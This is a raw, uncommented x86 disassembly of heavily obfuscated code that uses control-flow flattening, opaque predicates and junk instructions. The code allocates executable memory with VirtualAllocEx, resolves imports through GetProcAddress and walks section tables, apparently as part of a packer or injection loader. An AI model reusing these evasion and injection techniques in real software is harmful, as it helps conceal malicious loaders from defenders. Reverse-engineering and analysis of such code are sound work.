jmp 0x401ef0
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x20c]
lea ecx, [ecx + ecx*4]
mov edx, dword [eax + ecx*8 + 0x24]
mov ecx, edx
xor ecx, 0xf80f575d
mov eax, edx
not eax
mov dword [ebp - 0xc4], edx
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x7f0a8a2
and eax, 0xf80f575d
or eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0x989fac40
and eax, 0x4c100082
mov edx, esi
and edx, 0x676053bf
or esi, 0xa043fe05
or ecx, edx
and esi, 0xa1ebfe4d
mov edx, ecx
xor ecx, 0x676053bf
xor edx, 0x989fac40
or eax, esi
mov edi, ecx
or edi, 0x1a80048
mov ebx, edx
and ebx, 0x12040130
or edx, 0x40000000
and ecx, 0x855053e3
and edi, 0xa1ebfe4d
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0xf247ff35
and esi, 0xdb800ca
or eax, esi
mov esi, eax
not esi
and eax, 0xc55053e3
mov edi, esi
or esi, edx
and edi, 0x3aafac1c
and edx, 0x3aafac1c
or ecx, edx
or eax, edi
not esi
mov edx, 0x71e2dff3
xor ecx, eax
or esi, ecx
mov eax, esi
not eax
and esi, 0x843b53ba
and eax, 0x7bc4ac45
or eax, esi
mov ecx, eax
xor ecx, 0x6a000804
xor eax, 0x843a0090
and eax, 0x95fea4d1
and ecx, 0x6a015b2e
or ecx, eax
mov eax, 0xca55f8b8
cmp ecx, 0x6a015b2e
cmove eax, edx
jmp 0x401ef0
mov eax, 0x632950a3
jmp 0x401ef0
cmp byte [ebp - 0xce], 0
mov eax, 0xda8c6afb
mov ecx, 0xa8dd3e56
cmovne eax, ecx
jmp 0x401ef0
push 0x40
push 0x3000
push dword [ebp - 0x134]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x102401d0
mov esi, eax
mov edi, eax
or esi, 0x40530029
and edx, 0x507701f9
and edi, 0x23888200
and eax, 0x2ff9422
or edi, edx
mov edx, ecx
and esi, 0x507701f9
and edx, 0x8c007c06
and ecx, 0xfd006bdd
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x63db8228
and esi, 0x9c247dd7
or edx, esi
mov esi, edx
not esi
and edx, 0x2ff9422
mov edi, esi
and edi, 0xfd006bdd
or edx, edi
mov edi, 0xab4bc8ca
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xb6c7699c
setne dl
sete ah
cmp dword [0x504180], 0xa
mov ch, dl
setl al
setge cl
or dl, al
and ch, cl
and al, ah
or al, ch
xor al, 1
or al, cl
or cl, ah
mov ah, dl
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
or cl, ah
xor cl, al
mov edx, ecx
not dl
and dl, al
test cl, 1
mov eax, 0xab4bc8ca
cmovne eax, esi
test dl, 1
cmove eax, edi
cmovne eax, esi
jmp 0x40d6c4
mov eax, 0x903000dd
jmp 0x401ef0
cmp dword [ebp - 0x198], 0
mov eax, 0x2a12cd51
mov ecx, 0x4deaa8f4
cmove eax, ecx
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x687cbb0
mov esi, ecx
and esi, 0xf978344e
and ecx, 0x78738793
or eax, esi
mov esi, eax
xor esi, 0x684c100
xor eax, 0xf978344f
mov edi, eax
and edi, 0xf8630abb
and esi, 0x79cf544
or esi, edi
mov edi, edx
xor edi, 0xfffffffe
and edi, edx
mov ebx, edi
not ebx
and edi, 0x79cf544
or eax, ebx
and ebx, 0xf8630abb
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x4f178602
and esi, 0xb0e879fd
or eax, esi
mov esi, eax
xor esi, 0x48138602
xor eax, 0xb0e879fd
mov edi, eax
or eax, edx
and edx, 0x878c786c
and edi, 0x878c786c
and esi, 0x78738793
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xb7645ae9
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5e4f3f2d
and ecx, 0xa1b0c0d2
or eax, ecx
cmp eax, 0x5e4f3f2d
sete cl
cmp dword [0x504180], 0xa
setge al
xor cl, al
and al, cl
mov ah, cl
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
xor ah, al
or al, cl
xor ah, 1
mov cl, ah
xor cl, al
not cl
test cl, 1
mov ecx, 0x76d3bee9
cmovne esi, ecx
test ah, 1
mov ecx, 0xb7645ae9
jmp 0x40d3e8
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xf7ca9727
and ecx, 0x83568d8
or edx, ecx
xor edx, 0xf7ca9727
or eax, edx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x8ab60349
mov esi, ecx
and esi, 0x7549fcb6
or edx, esi
mov esi, eax
not esi
and eax, 0x8ab60349
or ecx, esi
and esi, 0x7549fcb6
or eax, esi
not ecx
mov esi, 0xb6772f8e
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0x52f58d57
mov eax, ecx
and eax, 0x52750052
and edx, ecx
not ecx
and ecx, 0x808d05
or eax, ecx
xor eax, 0x52750052
or eax, edx
not edx
and edx, 0xad0a72a8
and eax, 0x52f58d57
or eax, edx
setne ah
cmp dword [0x504180], 0xa
mov cl, ah
mov bh, ah
setge dh
inc cl
mov dl, dh
mov al, dh
and bh, cl
inc dl
xor bh, 1
and al, dl
or bh, cl
xor al, 1
xor bh, 1
mov bl, al
or bh, ah
or bl, dl
xor bh, 1
xor bl, 1
or bl, dh
mov ch, bl
xor ch, bh
or bh, bl
xor ch, 1
and ch, bl
mov bl, bh
xor ch, 1
xor bl, ch
or ch, bh
mov bh, dh
xor bh, al
or al, dh
xor ch, 1
xor al, 1
or ch, bl
or al, bh
xor ch, 1
mov dh, al
and al, ah
xor dh, 1
and dh, cl
or cl, dl
or al, dh
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
mov cl, ch
or al, dl
xor ch, al
or cl, al
mov eax, 0x717057e5
mov dl, ch
xor dl, cl
test ch, 1
cmovne eax, esi
test cl, 1
mov ecx, 0x717057e5
jmp 0x40b02b
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xc8]
vmovsd xmm0, qword [eax]
mov eax, dword [ebp - 0xac]
vmovsd qword [eax], xmm0
mov eax, 0x3edab2a7
jmp 0x401ef0
mov eax, 0xb7645ae9
jmp 0x401ef0
mov eax, 0x4612f637
jmp 0x401ef0
mov eax, 0x88098218
jmp 0x401ef0
mov eax, 0xc1b264c3
jmp 0x401ef0
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xec]
mov esi, dword [ebp - 0xf4]
mov dword [ebp - 0x1fc], ecx
mov ecx, dword [ebp - 0x98]
lea eax, [eax + eax*4]
lea ecx, [ecx + edx*4]
add ecx, dword [esi + eax*4 + 0x10]
mov eax, 0xd1e4f2b8
mov dword [ebp - 0x200], ecx
jmp 0x401ef0
mov eax, 0x6e70d694
jmp 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xdbbbf7e1
mov esi, edx
and esi, 0x2444081e
and edx, 0x4ac0f8f8
or ecx, esi
mov esi, ecx
xor ecx, 0x2444081e
xor esi, 0x4009b180
or ecx, 1
and esi, 0x6449b194
mov edi, ecx
and edi, 0x9bb64e6a
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0xb53f0707
mov ebx, edi
not ebx
and edi, 0x6449b195
or eax, edx
or ecx, ebx
and ebx, 0x9bb64e6a
mov edx, eax
xor edx, 0xb53f0707
xor eax, 0x4ac0f8f8
or edi, ebx
not ecx
xor edi, esi
mov esi, 0x1df83c14
or ecx, edi
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x504180], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov ch, cl
mov edx, eax
mov dh, cl
xor dl, 1
xor ch, 1
mov ah, dl
or dl, ch
and ch, cl
and ah, al
xor ch, 1
xor dh, ch
or ch, cl
xor ah, 1
mov cl, al
xor cl, ah
or ah, al
xor ch, 1
mov al, dl
xor ah, 1
or ch, dh
or ah, cl
xor ah, ch
mov ecx, 0x68de0bcd
xor al, ah
test al, 1
cmovne esi, ecx
test dl, dl
mov ecx, 0x1df83c14
cmovne ecx, esi
test ah, 1
jmp 0x40bf90
mov esi, dword [ebp - 0xc4]
mov eax, esi
not eax
mov edx, esi
and edx, 0x50290844
mov edi, esi
xor edi, 0x703d0e76
mov ecx, eax
and ecx, 0x20140632
and edi, esi
or edx, ecx
xor edx, 0x50290844
or edi, edx
mov edx, edi
not edx
and edi, 0xfee57242
and edx, 0x11a8dbd
or edi, edx
xor edi, 0x312783cb
or edi, eax
mov eax, 0x146ef5d1
not edi
mov dword [ebp - 0x214], edi
jmp 0x401ef0
cmp byte [ebp - 0xca], 0
mov eax, 0xffa99fa9
mov ecx, 0x6de1701f
cmovne eax, ecx
jmp 0x401ef0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x12c], eax
mov eax, 0x66d02810
jmp 0x401ef0
mov eax, 0x8735c811
jmp 0x401ef0
mov eax, 0x7bc930c0
jmp 0x401ef0
mov eax, 0x33fcc35f
jmp 0x401ef0
push 0x400
push section..data
push dword [ebp - 0x98]
vzeroupper
call fcn.00441f20
add esp, 0xc
mov eax, 0x6e37f90a
jmp 0x401ef0
push 0x400
push section..data
push dword [ebp - 0x98]
vzeroupper
call fcn.00441f20
add esp, 0xc
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 1
not ecx
and eax, 0xadb3ad86
mov esi, ecx
and edx, 0x9471aec7
and esi, 0x6b8e5138
or esi, edx
mov edx, ecx
or edx, 0x9471aec6
and ecx, 0x524c5279
and edx, 0x9471aec7
or eax, ecx
xor edx, esi
xor eax, 0xadb3ad86
mov esi, edx
not esi
and edx, 0xff672f73
and esi, 0x98d08c
or edx, esi
mov esi, 0x9afbea25
xor edx, 0xff672f73
or eax, edx
mov ecx, eax
not ecx
and eax, 0x6bd728a6
and ecx, 0x9428d759
or eax, ecx
xor eax, 0x6bd728a6
sete al
setne dl
cmp dword [0x504180], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
xor al, 1
mov cl, dh
xor dl, 1
xor cl, ah
or al, dl
and cl, dh
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and al, dl
or dl, ah
and ah, cl
or ah, al
mov cl, ah
xor cl, dl
test ah, ah
mov eax, 0xeb1c6675
cmovne eax, esi
test dl, dl
mov edx, 0xeb1c6675
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0x438016a0
mov edi, eax
mov esi, edx
and esi, 0x9d6e7a0f
and edi, 0x20118150
and eax, 0xc68140a8
or edi, esi
mov esi, ecx
xor esi, 0xbc7fe95f
and esi, ecx
mov ebx, esi
not ebx
and esi, 0x629185f0
or edx, ebx
and ebx, 0x9d6e7a0f
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x9b157c2f
and esi, 0x64ea83d0
or edx, esi
mov esi, edx
xor edx, 0xc0814088
xor esi, 0x276a9571
mov edi, esi
or esi, ecx
and ecx, 0x397ebf57
and edi, 0x397ebf57
and edx, 0xc68140a8
or edx, edi
or eax, ecx
not esi
xor eax, edx
or esi, eax
xor esi, 0xffffffff
mov esi, 0xd1793aba
setne ch
sete dl
cmp dword [0x504180], 0xa
setge al
mov cl, al
mov ah, al
inc cl
and ah, cl
and ch, cl
xor ah, 1
or ah, cl
or cl, dl
xor ah, 1
or ah, al
and al, dl
xor ah, dl
or al, ch
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, eax
mov ah, cl
xor dl, 1
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0x77ed6dd3
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x77ed6dd3
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x401ef0
cmp byte [ebp - 0xd5], 0
mov eax, 0x616fd3cf
mov ecx, 0xd727508f
cmovne eax, ecx
jmp 0x401ef0
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0xec], eax
mov eax, 0x73a3a99a
jmp 0x401ef0
mov eax, dword [ebp - 0x1d0]
add eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x190], eax
mov eax, 0x6dfb49a5
jmp 0x401ef0
mov eax, 0x916c2a8
jmp 0x401ef0
push dword [ebp - 0x15c]
push dword [ebp - 0x160]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x108], eax
mov eax, 0xcd5b4b6c
jmp 0x401ef0
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x98]
add eax, ecx
mov dword [ebp - 0x188], eax
mov eax, ecx
not eax
and ecx, 0xd3e97a48
and eax, 0x2c1685b7
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x24008490
xor eax, 0xd3e97a48
xor ecx, 0xd3e985b7
and ecx, eax
and edx, 0x3448e6d8
and eax, 0xcbb71927
or eax, edx
xor eax, 0xcbb7e6d8
or eax, ecx
mov ecx, eax
xor ecx, 0xcf152ea7
mov edx, eax
not edx
mov esi, eax
or esi, 0x284010
and ecx, eax
and esi, 0x8a386692
and edx, 0x45050825
mov edi, ecx
not edi
and ecx, 0x75c7996d
or edx, esi
or eax, edi
and edi, 0x8a386692
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x30ead158
and eax, 0xcf152ea7
or eax, ecx
push eax
push dword [ebp - 0x110]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x108], eax
mov eax, 0xee95e36e
jmp 0x401ef0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, 0x32caaf82
jmp 0x401ef0
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xe4], 0x40
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x20c], eax
mov eax, 0x4e5860fa
jmp 0x401ef0
mov eax, 0x1a55b2e4
jmp 0x401ef0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xf4]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [ebp - 0x98]
mov dword [ebp - 0x128], eax
mov eax, 0x81307593
jmp 0x401ef0
mov eax, 0x96a221dc
jmp 0x401ef0
mov edx, dword [ebp - 0x210]
mov eax, edx
xor eax, 0x834919dc
mov ecx, edx
and ecx, 0xc8ac4b39
andn eax, edx, eax
not edx
and edx, 0x3753b4c6
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x3753b4c6
xor esi, 0xb41aad1a
xor edx, 0x88c0120
and esi, ecx
or ecx, 0x40000000
and edx, 0x3b8e91a2
or eax, esi
and ecx, 0xc4716e5d
mov esi, eax
not esi
and eax, 0x3cb6e623
or ecx, edx
and esi, 0xc34919dc
mov edi, ecx
xor edi, 0x80114815
xor ecx, 0x3b8e91a2
or eax, esi
and edi, 0x98134837
mov edx, eax
not edx
and eax, 0x98134837
mov esi, edx
or edx, ecx
and esi, 0x67ecb7c8
and ecx, 0x67ecb7c8
or eax, esi
or edi, ecx
not edx
xor edi, eax
or edx, edi
mov eax, edx
xor eax, 0x6ab4db6b
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x954b2494
and edx, 0x6ab4db6b
or edx, eax
mov eax, edx
not eax
and edx, 0x3753ed2d
mov ecx, eax
and ecx, 0xc8ac12d2
or edx, ecx
mov ecx, 0xc6df33fa
xor edx, 0x3753ed2d
or edx, eax
mov eax, 0xc6575c85
cmp edx, 0xffffffff
cmove eax, ecx
jmp 0x401ef0
mov eax, dword [0x504184]
mov esi, 0x727c23b9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa08997eb
and eax, 0x5f766814
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xb546800
xor eax, 0xa08997eb
xor ecx, 0xa08997ea
and ecx, eax
and edx, 0x8bd47c69
and eax, 0x742b8396
or eax, edx
xor eax, 0x742b8397
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdf84791d
and ecx, 0x207b86e2
or eax, ecx
mov ecx, eax
xor ecx, 0x99840011
xor eax, 0x3880c2
and eax, 0x4638f9ce
and ecx, 0xb9c70631
or ecx, eax
mov eax, ecx
xor eax, 0x620290e
xor ecx, 0xb9c70631
mov edx, ecx
and edx, 0xe1ddd6d0
and eax, 0x1e22292f
or eax, edx
xor eax, 0xe1ddd6d0
xor ecx, eax
test ecx, eax
sete dl
setne ah
cmp dword [0x504180], 0xa
mov ch, dl
setl al
setge cl
xor ch, al
or al, dl
xor ah, cl
or cl, dl
xor al, 1
and ch, dl
xor cl, 1
or al, ah
or cl, ch
mov edx, ecx
mov ah, al
and cl, al
xor dl, 1
not ah
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x93feb5e0
cmovne esi, ecx
test dl, 1
mov edx, 0x727c23b9
jmp 0x40c2dd
rol esi, 0xc8
bswap ebx
mov ebx, 0x72
inc edi
inc esi
not ebx
ror eax, 0xaa
dec esi
sub ebx, 0x5a
rcl esi, 0xe1
or edi, 0x84
mov esi, 0x74
imul ebx
not esi
neg eax
imul esi
rol esi, 0xc
sbb eax, 0xe
ror edx, 0x6b
dec eax
not edx
rcl edi, 0x33
rcr edi, 0x23
inc edi
and eax, 0xaa
ror edi, 0x13
not esi
sbb eax, 0xe1
neg edx
bswap edx
sbb edx, 0x5a
bswap edi
sub edi, 0xc1
neg eax
sub edx, 0xa0
imul eax
sbb esi, 0x2d
sub edi, 0xe5
sub esi, 0x52
neg eax
sub eax, 0xa1
not edx
neg edi
ror eax, 1
add esi, 0x8b
bswap eax
neg esi
not ebx
bswap edi
sbb eax, 0x56
dec esi
and edi, 0xa2
ror edi, 5
mov edx, 0x61
bswap edi
rcl eax, 0xdb
sub ebx, 0x95
bswap esi
rcr edx, 0x32
not ebx
mov esi, 0x46
or edx, 0xe2
or esi, 0xd
bswap eax
rcr esi, 0xdd
imul ebx
rcr esi, 0xf5
sbb edi, 0x5f
imul edi
sub eax, 0x9e
mov ebx, 0xd4
sbb ebx, 7
inc esi
sbb eax, 0x55
rol edx, 0xe2
mov esi, 0x4f
imul edi
sub edx, 0x40
mov esi, 0x29
bswap edi
rol eax, 0x90
dec ebx
sbb edi, 0xa8
sub ebx, 0x43
ror esi, 0x4e
ror eax, 0x9d
inc edx
mov ebx, 0xdb
inc ebx
not eax
and edx, 0xf
bswap esi
dec eax
dec eax
imul edx
sub ebx, 0x59
bswap edx
mov edx, 0xca
not ebx
dec ebx
sbb edi, 4
rcl ebx, 0xb9
sub edx, 0xb0
neg ebx
neg eax
ror eax, 0xfc
bswap edx
bswap edx
dec edi
sbb esi, 0xc7
not ebx
not eax
neg eax
sbb eax, 0x53
rcl edx, 0x36
dec edi
dec edx
rol edx, 0x50
sbb eax, 7
imul edi
bswap edi
imul edx
neg esi
not esi
rcr esi, 0xf3
ror eax, 0x14
bswap ebx
mov edi, 0xf8
dec edx
bswap eax
sub edi, 0xd3
mov ebx, 0xc0
imul edx
add edi, 0x12
dec edi
neg edi
or edx, 0x52
not edi
inc eax
imul edi
or edx, 0x96
sbb ebx, 0x7a
bswap esi
rcr edi, 0x49
mov esi, 0x25
inc edi
rcr edx, 0x47
mov edx, 0x5c
dec edx
not edx
mov dword [ebp - 0x9c], eax
mov eax, 0x8e4c086c
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x72550bd8
and edx, 0x8daaf427
or edx, ecx
mov esi, edx
mov eax, edx
xor eax, 0x88821406
xor esi, 0x72550bd8
xor edx, 0x5f9cb1b6
and edx, esi
and eax, 0xc8921d5e
and esi, 0x376de2a1
or esi, eax
mov ecx, esi
mov edi, esi
xor ecx, 0x376de2a1
xor edi, 0xe55ba730
xor esi, 0xc012185e
and edi, ecx
and esi, 0xc25e1a5f
mov eax, edi
not eax
and edi, 0x965af00e
mov ebx, eax
and ebx, 0x69a50ff1
or edi, ebx
mov ebx, edx
not ebx
and edx, 0x965af00e
or eax, ebx
and ebx, 0x69a50ff1
or edx, ebx
not eax
xor edx, edi
mov edi, ecx
and edi, 0x3da1e5a0
and ecx, 1
or eax, edx
or edi, esi
mov edx, eax
not edx
and eax, 0x94e0ff90
and edx, 0x6b1f006f
or eax, edx
mov edx, edi
xor edx, 0x40160046
xor edi, 0x1580a520
or ecx, edx
mov edx, eax
xor edx, 0x390901a7
xor eax, 0x46d6ba00
and edi, 0x97c8bf38
and ecx, 0x683740c7
mov esi, eax
and esi, 0x86a6dc58
and edx, 0x795923a7
or ecx, edi
or edx, esi
mov edi, 0x22144278
mov esi, ecx
xor esi, 0x68110087
xor ecx, 0x97c8bf38
or eax, ecx
and ecx, 0x86a6dc58
and esi, 0x795923a7
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x4d31040a
and eax, 0x803281
mov edx, ecx
or edx, 0x124cc840
and esi, 0x5f7dcc4a
and ecx, 0xa0020134
and edx, 0x5f7dcc4a
or ecx, esi
mov esi, 0x8ea4c3e5
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xb24ec974
and ecx, 0x4db1368b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf8b7f93
and ecx, 0xf074806c
or ecx, eax
xor ecx, 0xf074806c
sete cl
setne al
cmp dword [0x504180], 0xa
setl ah
setge dl
xor dl, al
xor al, ah
or cl, ah
mov ah, al
xor ah, cl
or cl, al
not cl
or cl, ah
mov eax, 0x22144278
xor cl, dl
and cl, 1
cmovne eax, esi
test cl, dl
cmove eax, esi
test cl, cl
cmove eax, edi
test cl, dl
cmovne eax, edi
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x70a8ba62
mov esi, edx
and esi, 0x8f57459c
and edx, 0xf277a19d
or eax, esi
mov esi, eax
xor esi, 0x60801202
xor eax, 0x8f57459d
mov edi, eax
and edi, 0x9b3ce87c
and esi, 0x64c31782
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xd885e62
mov ebx, edi
not ebx
and edi, 0x64c31783
or ecx, edx
or eax, ebx
and ebx, 0x9b3ce87c
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0x7c5be838
and esi, 0x83a417c7
or esi, edx
mov edx, ecx
xor edx, 0x1801642
xor ecx, 0xf277a19d
or eax, ecx
and ecx, 0x7c5be838
and edx, 0x83a417c7
or edx, ecx
not eax
xor edx, esi
mov esi, 0xd26be845
or eax, edx
mov ecx, eax
not ecx
and eax, 0xda0c27dc
and ecx, 0x25f3d823
or eax, ecx
xor eax, 0xda0c27dc
sete dl
setne ch
cmp dword [0x504180], 0xa
setl al
setge cl
mov ah, al
xor ah, dl
xor dl, cl
or cl, ch
or ch, al
and al, ah
xor cl, 1
xor dl, 1
xor al, 1
or cl, ah
mov dh, al
or al, ch
xor cl, 1
xor dh, ch
xor al, 1
or cl, dl
or al, dh
mov ah, al
mov ch, al
xor ah, 1
mov dl, ah
xor ah, cl
and dl, al
xor dl, 1
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
and ch, cl
xor cl, 1
and dl, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb1cb15aa
cmovne esi, eax
test cl, 1
mov eax, 0xd26be845
cmovne eax, esi
jmp 0x40b02e
mov ecx, dword [ebp - 0x1c0]
mov eax, 0xfd57dd49
mov dword [ebp - 0xf8], ecx
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
or eax, 0xeb8dd582
and edx, 0xeb8dd582
mov esi, ecx
and esi, 0x14722a7c
and eax, 0xeb8dd583
or esi, edx
xor eax, esi
mov esi, 0x842d5633
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x504180], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor ah, dl
mov edx, eax
and ah, ch
xor dl, 1
mov cl, ah
mov ch, dl
xor cl, 1
and ch, ah
xor dl, cl
and cl, al
or al, ah
xor al, 1
or cl, ch
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x742d2e09
cmovne edx, esi
test al, 1
mov eax, 0x742d2e09
cmovne eax, edx
test cl, cl
cmove eax, edx
mov edx, dword [ebp - 0xf0]
mov dword [ebp - 0x1e8], edx
jmp 0x401ef0
cmp byte [ebp - 0xd1], 0
mov eax, 0x71e2dff3
mov ecx, 0x6441f124
cmovne eax, ecx
jmp 0x401ef0
mov eax, 0xbc4ecf43
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1089c82
mov edx, eax
and edx, 0x60810250
and eax, 0x9e76612d
or ecx, edx
xor ecx, 0x1089c82
or eax, ecx
mov esi, eax
not esi
mov edi, eax
and edi, 0xeb1d4504
and eax, 0x84030c2
mov ecx, esi
and ecx, 0x14e2bafb
or esi, 0x34150d15
or edi, ecx
and esi, 0x77954d15
mov edx, edi
xor edx, 0x14e2bafb
mov ecx, edi
xor edi, 0x80080000
or eax, esi
xor ecx, 0xe31d0500
mov ebx, edx
or ebx, 0x43804000
and edi, 0x802a8228
and edx, 0x8e2d08c
and ecx, 0xf71d2f72
and ebx, 0x77954d15
or ecx, edx
or edi, ebx
xor eax, edi
mov esi, eax
not esi
and eax, 0x608a2c2
and esi, 0xf9f75d3d
or eax, esi
mov esi, eax
xor esi, 0x801225e6
xor eax, 0x4dc8d201
mov edx, eax
and edx, 0x36a50a18
and esi, 0xc95af5e7
or esi, edx
mov edx, ecx
xor edx, 0xc1182562
xor ecx, 0x8e2d08d
or eax, ecx
and ecx, 0x36a50a18
and edx, 0xc95af5e6
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
xor ecx, 0x4569dc0d
mov edx, eax
not edx
and ecx, eax
or eax, 0xba9623f2
and edx, 0x4409cc09
mov esi, eax
and esi, 0xb7033f6
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf48fcc09
or eax, esi
and esi, 0xb7033f6
or ecx, esi
not eax
mov esi, 0x6e37f90a
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3c4e326
and ecx, 0xfc3b1cd9
or eax, ecx
mov ecx, eax
xor ecx, 0x460c0320
xor eax, 0xb952c0d4
mov edx, eax
and edx, 0x9b3fc0f
and ecx, 0xf64c03f0
or ecx, edx
xor ecx, 0xf64c03f0
or ecx, eax
xor ecx, 0xffffffff
setne ah
sete al
cmp dword [0x504180], 0xa
mov dl, ah
setl cl
setge ch
or dl, cl
xor al, cl
xor dl, 1
and al, cl
or al, dl
mov dl, ah
and ah, cl
inc dl
xor al, 1
or cl, dl
and dl, ch
or dl, ah
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
mov ecx, eax
or dl, ah
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xeb1c6675
cmovne eax, esi
test cl, 1
mov ecx, 0xeb1c6675
cmovne eax, ecx
test dl, 1
cmove eax, esi
jmp 0x401ef0
mov eax, dword [ebp - 0x1fc]
mov ecx, dword [ebp - 0x200]
mov dword [ecx], eax
mov eax, 0xf965da3d
jmp 0x401ef0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x12c], eax
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0xb05165ab
mov esi, ecx
and esi, 0x4fae9a54
and ecx, 0xf39bad48
or eax, esi
mov esi, eax
xor eax, 0x46a28844
xor esi, 0x410020
or eax, 0xa90c329b
and esi, 0x438020
mov edi, eax
